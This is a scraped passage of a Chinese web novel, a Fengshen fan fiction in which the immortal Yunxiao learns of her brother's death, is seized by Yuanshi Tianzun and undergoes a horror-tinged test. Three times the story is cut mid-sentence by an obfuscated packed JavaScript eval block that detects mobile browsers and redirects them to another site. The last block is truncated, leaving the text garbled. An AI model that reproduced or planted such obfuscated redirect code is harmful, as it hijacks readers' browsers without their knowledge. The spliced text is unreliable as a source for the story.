《被迫跟师伯绑定了(封神)》 1. 劫起 三仙岛的上空,飘荡着朵朵彩云。隐藏在彩云之中瘫得最平整的那一朵,就是这仙岛上三位女仙之首,法力最高深的云霄娘娘。 云霄并不知道“我”这个意识是从何时而诞生。在意识到自己是一朵云以前,她已经存在了许多许多年。 云是不需要思考的。她不会饥饿,也没有欲望,天地慷慨赋予她这个福利。洁白的一团,柔软而无形。 灵动的风将她吹拂成长长的羽毛状,从大荒山的东边横阔到西边。落霞将她染成绚烂的红,金乌火引燃天际,黎明自幽暗中涅槃重生。 一个日夜便结束了。然后她终究会恢复成一朵净白的云,无思无虑,没有归途也没有前方。 直到某天,一位大能者发现了她的存在,赐予她一个名字…… “娘娘——云霄娘娘——” 这名字如同咒语,令无形的云变得有形。 空中的云翻了个身,化为人形出现在方才呼唤她的童儿面前。面上带着惯常的微笑。 “何事?” 传话的童儿乃柳枝点化,面貌是个七八岁女童模样,俏生生答,“阐教道人申公豹老爷来访,说是为公明大老爷传信,琼霄碧霄二位娘娘那边黄莺已去请了。” 听闻阐教之名,云霄不觉暗自蹙眉。 她与琼霄碧霄还有结义兄长赵公明皆拜入截教通天教主门下,阐教掌教则是二师伯元始天尊。阐截二教之主分出同门兄弟,但因二位教主理念大不相同,平素多有争执,所以两教门人的关系就算没有势同水火,也谈不上友好。 前不久赵公明在人间跟阐教弟子斗法败落,被阐教门人抢走了先天灵宝定海珠,还曾来三仙岛借走她们的灵宝金蛟剪一用。怎么今日却让一阐教道人来传讯呢? “阐教……” 云霄下意识地想要掐算一下因果,然后才想起自量劫一起,天机紊乱,纵使圣人也难以卜算的清楚。 她回忆起过去依稀听兄长提过申公豹此人,似是在阐教不受待见,四海交友广泛。但愿他带来的不是什么坏消息吧。 遂与童儿吩咐,“请他进来。” 待童儿去引申公豹入洞府,二妹琼霄和小妹碧霄也到了。 他们兄妹四个都是先天灵物化形,在同一时期被师尊通天教主捡回去收作弟子。教主图省事,把琼霄碧霄的名字都随云霄取了,又让早一步入门的外门大弟子赵公明教她们上清仙法的入门基础。千百年来,四人虽无血缘之亲,却有兄妹之义。 百多年前也不知从哪里兴起一股了结义之风,一时间多了很多类似九龙岛四圣,十天君,彩云二仙的称号。 碧霄是个活泼爱闹的,听说后兴致勃勃拉着琼霄云霄结拜,将师姐师妹的称呼改成了大姐二姐,号三霄娘娘。 后面赵公明来做客时得知此事,强烈谴责了三霄不带他玩的举动,要求补加他一个。 琼霄跟赵公明最亲厚,自然赞同。碧霄起先不乐意加人,嫌赵公明的名字跟她们三姐妹不搭。后面被哄了两天才松口,但还嘴硬的说大姐同意她就同意。云霄一向随和,自然不会拒绝。于是兄妹的名分就这么定下了。 三姐妹聚在一起,客人也到了。 那申公豹是一白面长须的道者,佩一宝剑,笑眯眯的望之可亲。 云霄作为大姐,首当发问,“吾兄有什么事,敢烦道友亲来传讯?” 申公豹叹道,“赵道兄已被姜尚以钉头七箭书射死于岐山,三位仙姑还不知道吗?” 洞中气氛顿时一凝。大劫中固然天机紊乱因果不明,但三霄修行多年,对因果相牵的人自有感应,故而申公豹的话一说出口,她们就能判断得出这是真的。 小妹碧霄性情最为刚烈,听到这个消息又哀又怒,提剑骂道, “姜尚是什么东西,也敢害我大兄?我这就去斩了他!” 二妹琼霄则掩面大哭,“呜呜不想前日一别,兄长竟陨落劫中,实为痛心……” 不同于碧霄的怒,琼霄的悲,云霄心里也有难过,却是一种尘埃终究落定的叹惋。 前几日赵公明来问她们借法宝去跟阐教斗法时,云霄就不愿意。 倒不是她对兄长小气,只因恩师早已再三强调,让门下弟子在洞府静心修行,不许擅自下山参与劫中。一旦下山,难脱上榜厄运。 所谓量劫,乃是天地劫气积累到一定的程度,必有大乱。上古的龙凤大劫、巫妖大劫,每一次都打的天崩地裂,死伤无数。 这次封神大劫,盖因阐教十二金仙犯了红尘杀劫,不得不身入劫中,襄助武王伐纣。他们截教弟子本可独善其身,只需在山门闭关一些年,待商灭周兴,自得逍遥。 奈何阐教元始天尊座下不过十二个弟子,比不得他们截教万仙来朝。因此三教共签押封神榜之时,反而是截教弟子在榜的更多。 通天教主固然不悦,碍于兄弟情分也没有多言。只约束门下闭紧山门,不得入世。 若擅入劫中致身死道消,则神魂入封神榜,受昊天上帝辖制,修为再不能存进,只能靠香火神道获取法力。哪里比得上仙道自在呢? 云霄深深地理解此两者的差异,理性地劝赵公明回山中避世,承诺劫后再陪他去阐教要回定海珠。 奈何赵公明已经被愤怒迷了心智,两个妹妹又执意要借。云霄劝不动,只好借出金蛟剪,并叮嘱赵公明切记拿回了灵宝便回山中,不得恋战。 一晃多日过去,赵公明未归,反而是申公豹来传讯。适才童儿通报之时,云霄便已经有了不详的预感。 她鼻头微酸,却是轻叹一声,反手按住提剑的碧霄,劝她,“个中缘由尚未全知,你莫要冲动”。 一旁的申公豹听到云霄的话,扬了扬眉,转眼就换了副悲痛的神情。 “可怜公明道友,前日借来三位的金蛟剪,未能功成,反被他人所害。临死前含泪告我等,悔不听云霄妹子所言,遭此厄运。让我等取他的道服丝绦裹住金蛟剪,言说待三位仙姑前去拜他,见道服便如见公明亲身一般……” 悲戚的叙述完,他神态一转,又好似愤慨无比。余光瞥过云霄,大声强调, “公明兄临终之言犹在眼前,想他千年苦修,竟死于姜尚那无赖之手,如此切骨之仇,焉能不报!” 云霄听了这话暗觉不妙。果不其然,小妹碧霄才被压下的怒火再度点燃,一双含泪的杏眼瞪得浑圆,似要喷火一般。 “申道友说得对,杀兄切骨之仇,焉能不报?大姐你不要拦我,今日我一定要去为兄长报仇!” “我也去。” 琼霄平素沉静柔弱,外表看起来乖巧,此时却比碧霄更加执拗。闷声不响的就要往外头冲。 “不可。” 云霄急的一手拉住一个,略带警告意味的看了眼申公豹。 此人言语看似是为赵公明打抱不平,却鼓动着要让她的两个傻妹妹投身杀劫。想来阐教之人,实不可信任。 她又劝二女,“昔日师尊告诫我等,言截教弟子不许下山,一旦入劫必有上榜之厄,此乃天数已定,兄长不听师言,故难逃厄运,以身应劫。你们修为尚且不如兄长,莫非还要去步他的后尘吗?” 云霄是一片拳拳爱护之心,怎奈何两个妹妹并不领情。 琼霄满脸写着失望,“姐姐实在无情!你畏惧那封神榜,不肯为大兄出力报仇,我却是不怕的。” 碧霄则大声附议,“修为低又如何?大不了同上封神榜,总不负一场兄妹恩义。” “我们走!” 二女可谓情深义重,越说越激动,双双甩脱了云霄的拉扯,不由分说冲出洞去。 这一次,云霄没有拦住。 她性情素来温和,从不做强迫别人的事。当初赵公明来借宝,实在劝不动她也就罢了。只是今日两个妹妹的态度却让她有些迷惑。 好像有哪里不对。 琼霄与碧霄平时最听她这个大姐的话,当初也答应过师尊绝不出三仙岛,为何今日就像失了智一样非得去大劫中心,甚至对她恶语相向呢?真的只是因为情绪上头不能自控吗? 有那么一瞬间,她感到身后似乎有一双巨大的手在操纵着她们,赵公明,碧霄,琼霄,也许包括她,都是那手中提线的傀儡。 然质疑的念头只出现一刹那,转而就被遗忘了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497842|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她眼见拦不住二女,心下思忖:琼霄和碧霄不谙世事,真让她们带着先天灵宝去人间战场恐怕会不顾两教颜面,逞灵宝之威肆意拿人。惹出大祸反而不美。倒不如她跟着去凡间,多少还能把握点分寸。 云霄拿定了主意,抬头却见申公豹还在原地。两人眼光对上,云霄虽不能判定他方才是不是故意挑拨,但对这阐教道士也没有一丝好感。 “道兄可还有事?若无事——” 看出云霄对自己眼神不善,申公豹自觉告退,“无事,无事,贫道话已为公明兄带到,这便告……” “辞”的音还没有发出,忽然间四周的空间好像被静止固定了,风不再流动,光线如同隔着一重无形的屏障。一切都虚化了。 约莫是一瞬息的功夫,申公豹眼睁睁看到一缕淡淡的灵光附在云霄身上,竟裹着她,层层擦去其存在。直到彻底消失不见,仿佛从未出现过一般。 光天化日之下,堂堂一个大罗金仙,竟然在自家有护岛大阵的地盘上消失不见了? 须知破空抓人容易,锁定整个空间却难。前者只要是准圣修为就能根据法力波动等痕迹追踪到,后者即便圣人亲临也搜摸不到丝毫痕迹。 这样的手段,申公豹只见过一次。不在别处,正是在阐教的大本营玉虚宫。 大概也就在几十年前,阐教元始天尊突然传出消息决定打开山门,再收新弟子。 不同于弟子遍洪荒以至于万仙来朝的截教通天教主,同为圣人,元始天尊门下可是只有十二金仙。用脚趾头想都知道拜入阐教能获得的资源该有多么丰厚。 申公豹是个实在的修士,哪怕当初已经随大流得了个截教记名弟子的身份,也不影响他想要更多。于是约了十多个散仙道友,一同前往昆仑玉虚宫拜师,路上他还好心捡了个傻乎乎到处求仙问道的凡夫。 谁曾想他们这些有根气有修为的散修一个都没被元始天尊选上,人家偏偏只看中了那个完全没有仙根的凡夫姜尚姜子牙。 凭什么呢?如果他没有好心带姜尚同行,以那个凡夫的能力根本到不了昆仑。圣人眼瞎了不成?放着一地好苗子不选选个烂菜帮子? 申公豹只敢这么想想,暗自憋气。可同去的一个散修好友却把这话说了出来,当面质疑元始天尊选徒弟的眼光。 “什么狗屁圣人,瞎了眼的,浪费老子时间……” 说这话的散修站在申公豹旁边,他甚至没有大声发表不满,只是小声的碎碎念。 说着话,他就开始消失了。 时隔几十年,申公豹也清楚记得那一幕。圣人面上并无悲喜,只是淡淡地朝那个散修投注了一个眼神,对方就如今日的云霄一般,在狭窄的空间虚影中,一层层淡化,抹去了存在。 直到消失前,他的神态还静止在小声时抱怨的状态,全不知自己身上发生了什么。 也正是那一刻,申公豹才明白什么叫做圣人以下皆为蝼蚁。他,姜尚,乃至早先入门的十二金仙都是蝼蚁。 圣人不在乎蝼蚁,也不在乎他以带姜尚来到昆仑的恩情裹挟,让那个傻乎乎的凡夫央求带他申公豹一起入门。让他成功拜入阐教,哪怕仅仅是作为姜尚的陪衬,成为阐教一名不受待见的弟子。 事后出了玉虚宫,听阐教大师兄广成子跟小师弟姜尚说话,他才知那使人消失的手段竟是含藏了时空法则,乃他们师尊元始天尊掌先天至宝盘古幡独有的能力。 几十年前的阴影画面今日重现,申公豹瞳孔骤缩,惊惧难安。 仿佛是察觉了他这个弟子的存在,一道如渊海般深沉浩大的威压蓦然落了下来,暗含警告之意,沉重如泰山。 申公豹双腿一软,身体竟不受控地跪伏在地,抖若筛糠。 警告……为何要警告他? 生死存乎一念间,他急中生智,高呼“师尊饶恕,弟子方才什么也没看到,绝不敢外传!” 许是那一声“师尊”起了作用,也或许是别的原因,浩荡的圣威轻飘飘散去了。 申公豹微微抬头,依旧维持着跪伏的姿势不敢妄动。看着自己额角的一滴冷汗滚落于泥土,眼底涌动着贪婪的野望…… 2. 昆仑山 那是非常奇异的感觉,云霄好像到了另一个时空。 她能看到申公豹张嘴,却听不到他说了什么,人与环境都虚化了,她的洞府和面前的申公豹一层层淡化,消失,化成白色重影,然后变得凝实。 这个过程仿佛只有一个呼吸,或者一个瞬间。云霄恍然间已经自东海三仙岛的洞府来到了一座雪山之巅。 夹杂着冰晶的狂风首先来迎接她,让她来不及陷入惊疑,就先冷却下来,意识到空间转变的真实。 四周是白茫茫一片,纯净而死寂,除了经年不化冻得结结实实的冰雪,就是环绕的浓雾,可见的不过十步以内。除了她没有任何生灵的存在。 这是哪里?是谁用那般诡异莫测的神通掳走了她?善意还是恶意? 她虽三尸未斩,也是大罗金仙修为,仅在圣人和准圣境界之下。圣人不至于做这种事,能用这等手段悄无声息地把她从三仙岛掳来,莫非是哪位不出名的准圣? 可她一心修行,多年来几乎只在金鳌岛和三仙岛来回,也不记得何时得罪过谁啊…… 云霄不敢妄动,出声试探,态度恭恭敬敬。 “弟子云霄,敢问是哪位仙长出手相邀?” 空荡荡的雪地只有风声簌簌,无人回应她。 云霄又等了片刻,依旧无人搭理,便不再开口。尝试着迈出脚步,发现鞋底像是雪地被冻结了,有些难以拔出。 原是此地灵气太浓郁,积雪累积,灵气如有实质。而云霄是先天一朵灵云所化,身躯洁净不染俗尘,同这积雪的质有些类似,故而站久了会像同化一样被黏住。若是换个后天生灵,血肉之躯来就不会有这种情况了。 她缓慢的走了几步,手持法诀,轻叱一声,打向面前的浓雾。 “疾——” 淡青色的上清灵光便如一把利剑,破开重重迷障。效果意外的好。 这须得感激她的恩师上清通天教主,只因他主掌天地杀伐,善于用剑。给弟子们讲道时少不了夹带一些私货,故而截教弟子在施法时杀伤性要远高于别家。 连着几个法诀打出,无人前来阻止,让云霄成功在浓雾中开辟出一条狭窄的通道。 通道打通的瞬间,有银白如月的光明隙入,让她得以仰望遥远处似有一座皎白的山峰巍峨耸立。 磅礴的高山直入九霄,她甚至看不到山顶,只见得其四周彩云环绕,群山臣服。它却如一冷峻巨人,撑天开地,向她展现着无尽的力量和威严。 云霄久居东海,从未见过此山,可它给她的感觉,撑天开地……竟有几分说不清道不明的熟悉。 只停下来片刻,被法力破开的浓雾便开始收拢了,四周黯淡下来,看不清远山的轮廓,唯余点点银光透过一隙隐约闪动。 她才发现,原来空中没有太阳也没有月亮,混混沌沌,好像无色,又好像蕴含了世间一切色彩。而那座群山之首的山峰才是此地混沌中唯一的光亮来源。 出路莫非在那座高山上?这是抓她的人给的指引吗? 正犹豫之时,忽又起一阵飓风吹得人睁不开眼。 云霄保持着警觉,蓦然退了十数步,方才见一根灰褐色的异形柱子忽地从天外雾中探了出来。如泰山压顶,带着另一个空间的压力,慢悠悠探向她原来站立之处。 那柱子足有两人合抱粗,从下往上,由细加粗。隔着浓雾,隐隐可见其末尾交接的深浓墨色中光华圆融,仿佛藏着一只巨大的眼睛。 “咯—咯—” 褐色的异形柱子从中间打开了,发出高亢的啼鸣。 云霄恍然意识到那不是一根柱子,而是一只大鸟的喙。 她还没来得及去想那鸟的品种,浓雾之上,一只同样巨大的手抓住巨大的鸟喙,动作有点粗暴的把它扯了回去。 “诶呀你走开,让我好好找!刚刚还在这儿的……” 少年清脆的声音响起,似乎是从天外来,却又好像就在她身边,并不响亮。 他要找的,或许是她吗? 云霄稍微想了想,便走回原处站定。 反正也打不过抓她的人,有人来引导总比自己漫无目的在雪地里打转要好。 “找到了!”少年的声音透出惊喜。 随后一团白光从天而落,于云霄身旁,变成一个身披白羽的清俊少年。 那少年生得奇俊,不过十三四岁模样。白发白眉,披一白羽大氅,身形清瘦。他眉心有一抹鲜艳的红痕,肤色净白如雪,眼周带一圈浅浅墨色。明明长的不高,却有一种从容傲慢,看任何东西都像是居高临下的藐视。 他……怎么会是他? 看清少年的模样,云霄心中的震惊甚至比自己突然被抓到这雪地来的时候还要强烈。 只因她与这少年并非初见,上一次看到却是在八十年前的金鳌岛碧游宫,她老师的道场内。 那时道祖鸿钧降下法旨,着三教共同签押封神榜,以全天庭三百六十五位正神之位。她的师尊通天教主与二位师伯不得违抗,便将签押的地点选在碧游宫,允许教中二代精英弟子旁观。 云霄自然在截教弟子之列。而眼前的白羽少年,则是跟在二师伯元始天尊身侧的随侍白鹤童子。 她入门晚,在签押封神榜那日前从没见过传说中的两位圣人师伯。只从大师兄那里听闻,自家老师跟太清圣人老子,玉清圣人元始天尊本为兄弟,远古时一同拜入道祖鸿钧门下。 太清老子为长,立人教道统,门下只有一名亲传弟子唤玄都。 玉清元始为次,立阐教道统,门下亲传有十二金仙。 上清通天,也就是她师尊,立截教道统。只因怜惜生灵求道不易,有教无类,未曾像两位师伯那样封闭山门。反而放出话来,凡有缘听他讲道者,皆可为记名弟子。故而截教有万仙来朝,估计连通天自己都不记得有多少弟子。 大师兄多宝道人以前告诉云霄,说三清本来共同道场在昆仑山,后面他们老师因为收徒弟太多了,其有教无类的思想跟二师伯法不轻传的理念发生矛盾,所以就带着第一批弟子另寻了碧游宫道场。 以至于云霄拜入师门千年都没见过两位师伯,直到签押封神榜之时,才有缘得见。 元始天尊的随侍童子,他为何会出现在这里寻找自己? 云霄脑海中不由得生出一个好像顺理成章却又不可思议的想法——掳她的人该不是仅有一面之缘的元始天尊吧? 白鹤昂着头,明知故问,“可是截教云霄师叔?” 他叫着师叔,语气却颇为冷淡,没有几分敬意。 云霄也没计较。含笑答,“正是云霄。” “老爷令我请师叔去玉虚宫拜见。” 竟然真的是元始天尊掳走了她……没理由啊! 云霄着实想不通。她与元始所谓一面之缘,准确来说是她拜见过元始,而元始根本没有给过众截教弟子一个多余的眼神。怎么会在百年后,突然对她出手呢? 想不通就要多问。 “二师伯怎知我在此处?” “此处?”白鹤闻言扯了扯嘴角,想嘲笑似又不敢,神情古怪。 “师叔不知道吗?此乃昆仑啊。” 云霄默然。 在昆仑就更不对了! 她拜入师门时三清已经分家了,明知截教阐教两位掌教不合,连带着两教弟子都互相看不顺眼。她岂会主动来昆仑山阐教的地盘。 方对白鹤笑道,“原是我不爱出门,许多年也未曾来拜见师伯。却不知二师伯今日召我前来,有何吩咐?” “师叔见过老爷便知。” 白鹤的表情恢复冷淡,后退一步,手掐法诀。 淡白色的阵光自足下亮起,一瞬间云霄的视觉好像增高了几百倍,空间的大小转化甚至让她产生了瞬间的眩晕感。好像她突然成为了巨人,而脚下困住她的雪地不过是巴掌大的拟态小雪堆而已。 她随着白鹤的动作跨出一步,阵光隐退,一只探头探脑的仙鹤率先映入眼帘。 仙鹤有着灰褐色长长的喙,眼周与喙交接的黑羽将那对嵌入其中的眼睛衬得光华圆融。它似乎认出了云霄的气息,仰头对比一下自己刚到云霄腰部的身高,仙鹤刷的张开翅膀,逃命一般,“咯咯”叫着飞远了。 显然,这只仙鹤就是之前攻击自己的“巨鸟”。 云霄没忍住笑了。 素闻元始天尊威严凛然,不曾想养的仙鹤这般活泼。 白鹤低声骂了句什么,轻咳一声,“这鹤池的仙鹤大都开了灵智,平时少有见客的时候,行为无状,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497843|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师叔见笑了。” “天性率真,挺好的。” 云霄见左侧是一片雾气氤氲的水池,两只仙鹤在梳理羽毛,姿态优雅。 而他们方才跨出的身后,则是如小型盆景一般,被空间之力环绕,悬浮在半空的昆仑山脉。自东贯西,最小的一座不过巴掌大,数不清的小山呈群星拱月之势围绕着一座最高的山峰。以云霄的眼力甚至可以看到最高峰上玉白的宫殿。仿佛一伸出手触碰,就能身入其中一般。 忍不住问道,“这山是法宝还是真正的昆仑山呢?” “师叔好见识。” 白鹤露出个与有荣焉的微笑,眉眼间的高傲藏都藏不住,“此山并非法宝,乃是老爷的神通所化,令昆仑十万山,具现于此。方才我去找师叔,也是通过此处。” 他又指着群山中的最高峰告诉云霄,“那就是玉京山,我们所在处。” 云霄惊叹,竟把整个昆仑山脉置于一盆景观中,二师伯对于空间的运用,恐怕她的师尊也难以办到。当然,云霄心里自家老师最好,这方面不及也是因为她师尊的技能点在阵法和剑道上了而已。 只是不知,如果她身处玉京山上,像仙鹤之前那样去碰那小盆景空间中的玉京山,会发生什么呢? 她也就是想想,干是不敢干的。 大概是嫌耽误太久,白鹤催促道,“时候不早了,师叔快与我去拜见老爷吧。” 云霄也想知道这位二师伯要见自己到底有何指教。他明明可以直接把她抓到面前,却把她放在了昆仑一个小小雪山上,再让白鹤来接引。 客气又不太客气。挺矛盾的。 反正打不过,也逃不了,云霄只能跟着人家的步骤走。 从鹤池往东,一路可见重重玉阙,与碧游宫的原始粗犷不同,玉虚宫的宫殿都像是昆仑白玉做底,雕檐碧瓦,莹润中透着贵气。 只是每座宫殿都是殿门紧闭,美则美矣,却好像一座死寂的空城,让人倍感压抑。 走到一处同样闭着大门的殿前,白鹤停住了脚步。躬身拜下,“启禀老爷,截教云霄师叔业已带到。” 还隔着一扇大门,可白鹤童子的态度已全然不同了,恭敬如被大风吹伏的小草,再看不到丝毫傲气。 大门缓缓打开,难以形容的光明倾泻而出,将匾额上“三清殿”三个大字都衬得围上了一重闪耀金边。 “师叔请。”白鹤示意云霄自己进去,没有陪同的意思。 临到门口,云霄终于还是有了两分紧迫感。 天地间不过只有七位圣人,她以往可是连自家师尊都没有单独拜见过,突然就要单独见跟自家不合的二师伯了。 有点紧张,挺想回去换身衣服。大师兄教导过,碰到阐教的人一定要拿出自己最豪横的样子,不能丢了截教的脸。但她现在可是要见阐教教主…… 云霄胡乱想点师门的事缓解压力,跨进了殿门。 见那殿中,紫金殿顶倒悬二十四颗斗大的明珠,银炉生烟,馥郁遍地,皎白的荧光如流水盘旋淌下,汇成一道明光之路。 正前方有白玉阶,以白玉为底,金缕为边。每阶宽九寸,高四寸五分,九阶为一大层,足有九层,层层叠高。也是视觉最光亮处。 而元始天尊就端坐于白玉阶之顶的八宝云光座上,似有一重空间结界,混混沌沌,让她看不清圣人的面貌。只能看见一个白衣的人影端坐云台。 祂尚具人形,又十分模糊。穿着雪白的衣,却如深渊吞噬一切色彩。云霄远远看了一眼,便觉眼前发黑,心神震颤,生出大恐怖,不可思议不可直视之感。可她的眼睛却不受控制,无法挪开。 一颗对于白云化形的修士来说平时完全感受不到的心脏被无形的手扭紧了,格外具现化,随着另一个不属于她的频率的跳动。 “砰——砰——砰——” 有什么怪物在胸口搅动,仿佛要长出七八支手脚,眼耳口鼻,震碎她的血肉。 救命…… 祂看向她。 意识到什么,恐怖的气息变得普通。 云霄失焦的视觉突然被切断,脱力般跪倒下来。 结束了吗?她不敢再抬头,就着伏身跪倒的姿势,颤声行礼。 “截教云霄,拜见……玉清圣人。” 3. 考验 拜入截教千年,云霄只见过元始一次,所有的印象皆来自于传说。 她曾听说,二师伯元始天尊最是喜净。 他的道场昆仑山终年被冰雪覆盖,不染杂尘。收弟子拒绝披毛戴角的妖类,只收先天灵物化形或者人族。祂还有一法宝名为诸天庆云,可以诸邪避易,万法不沾。只要出了昆仑玉虚宫,就会用上。 八十年前在碧游宫三圣签押封神榜,云霄初见元始是与其他截教弟子一同。遥观圣人金冠玉带,周身庆云环绕,日月星辰显现其中,无边道韵化成金花垂珠,络绎不绝。 诸天庆云一如她想象中的神异,可这神异也不过是圣人的陪衬。一如缭绕的云雾陪衬着玉京山,又如群星比照太阳。圣人所在,即是一方天地。 崇敬,向往,憧憬。 然而她从未想过,到第二次见到元始,那些美好的感觉会被巨大的恐怖撕碎。看到祂的瞬间,好像被某种怪潮吞噬,她的元神无限弱化,从里到外都被……被污染了。 污染。 没错,这就是云霄能想出的,勉强可以形容那种不可言说之恐怖带来的异变之感的词语。 最喜净的圣人,怎会有那般邪异恐怖? 她不敢多想,连想象都觉得可怕。只能告诉自己,她不过是个普普通通的大罗金仙,哪里能理解透圣人的境界? 是正常的。一定是正常的。 感谢元始最终收回了那种感觉,此刻圣人的威压依然厚重,却没有带给她那种不适感。云霄强撑着拜见元始,心底却是迫不及待想要逃离。 祂注视着她,良久没有说话。 过分的寂静让云霄有些心慌。她垂头,只能看到昆仑玉石打造的地板,玉石清透莹润,有萦絮般的花纹若隐若现。除了她趴俯之处外,处处光明亮堂,没有一丝阴影。 “抬起头来。” 高台上的圣人终于出声,语声无波,清冷而淡漠。 那声音意外的悦耳,似乎也没有直视祂的可怕。但云霄依旧是有些不情愿的直起身,微抬头,眼睛却依旧垂着不去看上方,显得格外谦卑。 又是一阵可怕的寂静,恐怖于无声处蔓延。 光明中似乎隐藏着数不尽的怪物,玉石里浅浅的纹路扭曲,伸出绵密触手,缠向她的脚腕…… 她用力闭眼。 打住,别想!不能再想! “你很敏锐。” 淡漠的声音再次响起,云霄分辨不出这是夸奖还是别的意思。 无形的恐怖没有再蔓延。她的确很敏锐,察觉到那恐怖的每一次释放和收敛,现在控制在一种她可以承受的范围。她甚至也察觉到了一点祂的意思—— 比如,她应该睁开眼。 云霄睁开眼,看到光明下的阴霾。 在她与白玉阶的中段,正前方,不知何时出现了一方扭曲的“门”。 “门”的边界模糊,接近混沌的深灰色,约莫有三尺宽,一丈高,纵深无法描述。好似其中有数不尽的空间,难以形容的奇异图案和符号堆积,无边无界,却又挤压着密密麻麻如蜂巢。 当她的眼睛习惯性锁定面前的一块,意识如惯常试图去研究和分析那块图案的象形,她脑中便嗡的一下,被灌入潮水般广大嘈杂混乱的呓语,无数人在哀鸣癫狂,不知名的野兽竭力嘶吼,极致的混乱,反而无法形容。 不可直视! 理性如一道锁链,强行让云霄挪开视线。 她感到一阵眩晕,这片纯白光明的殿内空间中好像挤满了透明的触手,它们自高台上蔓延而来,身披圣人的清辉,嬉笑着,扭曲着,黏腻着,秩序混乱,攀拨她的肢体。 是假的。光里不可能会有触手。 云霄尽量冷静的告诉自己。但异化的感觉并未完全消失,只是悄悄离她远了些。 她自认为是师门万仙里难得的理性之辈,可再好的理性也几乎要在这种莫名其妙来的刺激下消磨殆尽。 “弟子不知,圣人这是何意?” 云霄努力维持着表面的和平,她快受不了了。 依旧淡漠的声音透过扭曲的“门”,似是从四面八方响起。 “一切皆为因果,穿过此门,本尊自会告诉你答案。” 云霄绷紧嘴角,平素温婉含笑的面容在这冰冷扭曲的环境中也变得冷漠了。 她所遭受的不过是圣人给的一场考验。通过考验才可以真正站到祂的面前,才有资格询问自己遭受不公的原因。 她沉默的想,原来不是所有圣人都像她师父那样讲道理的。 尽管人间有些说法将伏羲、神农、轩辕三位人皇称为圣人,也会把道德高尚的长者称之为圣,比如即将成为人间帝王的周武王之父西伯侯姬昌。但在修士们眼里,圣人的含义又有不同。 它代表修行之路能抵达的最高峰,不死不灭,不伤不磨,与天地同寿。圣人之下,皆为蝼蚁。 拜入截教千年,作为通天教主的弟子,云霄比寻常人更能领会到这个说法的真实可信。所以当她知道对自己出手的是二师伯元始天尊,就立刻放弃了挣扎。 除了明白实力的差距,还有信任。哪怕传闻中这位二师伯与自家师父理念不合,云霄依旧对师父的兄长满怀敬意。 她只接触过通天,哪里能想得到,圣人的实力和品质并不关联。 如果说通天对蝼蚁们的苦难亦怀悲悯,那么元始则是彻底的漠视。祂于高台上冷眼见其挣扎,只有有能力走到祂跟前的,才具有说话的权利。 这本来也没错,可让云霄憎恶的是,她本来并无沾染祂的意愿。 纵然这条路的尽头可能会是花团锦簇,可她并不想走,并不想要。凭什么要把她抓来,什么理由也不说,就强迫她去经历重重考验? 云霄站起身来,拍拍裙摆上并不存在的尘土,好像也拂去了她的敬畏之心。 “敢问圣人,穿过此门,我能回去吗?” 空中静默片刻,方听得圣人道,“若能通过,允你来去自由。” 云霄点点头,并不讲什么礼数再去称谢。走到“门”跟前,控制着不去听癫狂的呓语,闭目凝神,抬手轻点额心,内视上丹田泥丸宫。 她的元神居于此。白云揉成的,半虚化的小人抬手捂住脸颊,抱着脸的造型,实则以拇指压着耳朵,四指遮住眼睛。于是肉身的听觉、视觉也随之封闭了。 不去听,不去看。反正元始只让她穿过,没有规定其他。失去了混乱的图形和呓语冲击,“门”的危险性似乎大大降低了。 接下来,她只需要向前走两步,就能穿过这该死的门,离开昆仑山。 一步。 她嗅到咸腥的气味,像是浓稠的血浆,又像是置身于深海。在视听都失去的状态下,其他的感官被无限放大。 窸窸窣窣,窸窸窣窣。那声音不从耳朵里来,而是她心里传来。 云霄站立着,却好像失重跌落深海。无数怪异且难以理解的形状紧贴着她,缠绕蠕动,大大小小的吸盘,张嘴咬她。她在深海里无限下坠,密密麻麻的虫子爬到衣裳里面,窸窸窣窣…… 她索性封闭了五感,把味觉嗅觉感觉一并舍去。想要往前迈步,却深陷泥潭,动弹不得。这门内的污染如附骨之疽,在云霄失去五感的情况下,进一步侵蚀她的理性。 她“看”到,自己洁白的骨头被碾碎了,冒出稠黑的粘液。她“看”到,自己每一个微小的细胞都在叫嚣异化,皮肤表面长出密布的红色小肉芽,夺取了她的呼吸和血肉的存在…… 这些都是她的臆想,或是真实?她分不清。 她会死在这儿吗?若是变异成门里一样的东西,不知琼霄碧霄能不能认得出大姐? 白云塑的元神在泥丸宫里蜷缩着,当邪异的污染以种种图案的形状印入泥丸宫内之时,一点莹白的净光从那白云元神的怀中散发了出来。 细微的净光只有一丝,碰到那不可思议的污染时却似星火燎原,反将其吞下了。然后一丝变两丝,两丝变三丝…… 高台之上,那注视着云霄良久却始终无波的圣人眼中蓦然一震,白衣的身影竟是瞬间来到“门”前。抬手缓缓放在“门”的边缘。 隔着不到两指的距离,元始的手心几乎要挨到云霄的额头。 他是污染的来源,“门”的创造者。可以察觉到这邪异之门哪怕一丝一毫的变化。 没错的,竟然真的有变化。 只在贴近她眉心的那一块,永远混乱无序的空间被梳理得柔和下来。那股力量来自于她的元神,似是天地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 